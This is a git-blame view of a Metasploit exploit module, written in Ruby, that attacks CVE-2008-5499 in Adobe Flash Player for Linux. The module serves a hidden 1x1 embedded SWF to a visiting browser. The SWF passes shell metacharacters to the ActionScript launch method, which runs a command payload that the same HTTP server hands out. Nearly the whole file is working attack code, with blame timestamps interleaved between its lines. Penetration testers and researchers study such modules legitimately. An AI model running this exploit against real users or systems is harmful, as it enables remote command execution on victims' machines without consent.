Files
metasploit-gs/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

105 lines
3.2 KiB
Ruby
Raw Normal View History

2012-04-10 20:58:22 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-04-10 20:58:22 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-04-10 20:58:22 +01:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
'Description' => %q{
2012-04-11 20:26:52 -05:00
This module exploits a vulnerability in Adobe Flash Player for Linux,
2017-08-28 20:17:58 -04:00
version 10.0.12.36 and 9.0.151.0 and prior.
2012-04-11 20:26:52 -05:00
An input validation vulnerability allows command execution when the browser
loads a SWF file which contains shell metacharacters in the arguments to
2012-04-19 18:07:35 -05:00
the ActionScript launch method.
2013-08-30 16:28:54 -05:00
2012-04-11 20:26:52 -05:00
The victim must have Adobe AIR installed for the exploit to work. This module
was tested against version 10.0.12.36 (10r12_36).
2012-04-10 20:58:22 +01:00
},
'License' => MSF_LICENSE,
'Author' => [
2012-04-10 20:58:22 +01:00
'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
],
'References' => [
2012-04-10 20:58:22 +01:00
['CVE', '2008-5499'],
['OSVDB', '50796'],
2013-01-04 09:29:34 +01:00
['BID', '32896'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html']
2012-04-10 20:58:22 +01:00
],
'DefaultOptions' => {
2012-04-10 20:58:22 +01:00
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
2012-04-10 20:58:22 +01:00
},
'Platform' => 'unix', # so unix cmd exec payloads are ok
'Arch' => ARCH_CMD,
'Targets' => [
2012-04-10 20:58:22 +01:00
[ 'Automatic', {}],
],
'DisclosureDate' => '2008-12-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
2012-04-10 20:58:22 +01:00
end
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
def exploit
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2008-5499.swf')
@swf = File.binread(path)
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
super
end
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
def on_request_uri(cli, request)
msg = "#{cli.peerhost.ljust(16)} #{shortname}"
2012-04-10 20:58:22 +01:00
trigger = @swf
trigger_file = rand_text_alpha(3..8) + '.swf'
2013-08-30 16:28:54 -05:00
obj_id = rand_text_alpha(3..8)
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
if request.uri.match(/\.swf/i)
2012-04-11 20:26:52 -05:00
print_status("#{msg} Sending Exploit SWF")
2012-04-10 20:58:22 +01:00
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
if request.uri.match(/\.txt/i)
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
return
end
2013-08-30 16:28:54 -05:00
html = <<-EOS
2012-04-10 20:58:22 +01:00
<html>
<head>
</head>
<body>
2012-04-11 20:26:52 -05:00
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}#{trigger_file}" />
<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
2013-08-30 16:28:54 -05:00
2012-04-11 20:26:52 -05:00
</object>
2012-04-10 20:58:22 +01:00
</center>
2013-08-30 16:28:54 -05:00
2012-04-10 20:58:22 +01:00
</body>
</html>
2012-04-11 20:26:52 -05:00
EOS
2013-08-30 16:28:54 -05:00
2012-04-11 20:26:52 -05:00
print_status("#{msg} Sending HTML...")
2012-04-10 20:58:22 +01:00
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end